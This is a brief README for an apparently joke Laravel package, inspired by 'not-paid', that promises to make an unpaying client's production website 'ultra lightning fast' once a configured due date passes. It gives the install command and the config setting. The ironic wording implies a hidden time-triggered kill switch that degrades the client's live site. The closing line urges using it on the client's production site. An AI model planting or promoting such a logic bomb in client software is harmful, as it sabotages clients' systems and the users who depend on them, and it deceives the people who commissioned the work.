Make your client's website runs "ultra lightning fast" on production by time if he did not pay.
This is just a funny stuff inspired by https://github.com/kleampa/not-paid.
composer require bangnokia/laravel-speed
You can set due date at config/app.php
(optional)
Example
'due_date' => '2021-05-12',
You should test on the client's production site.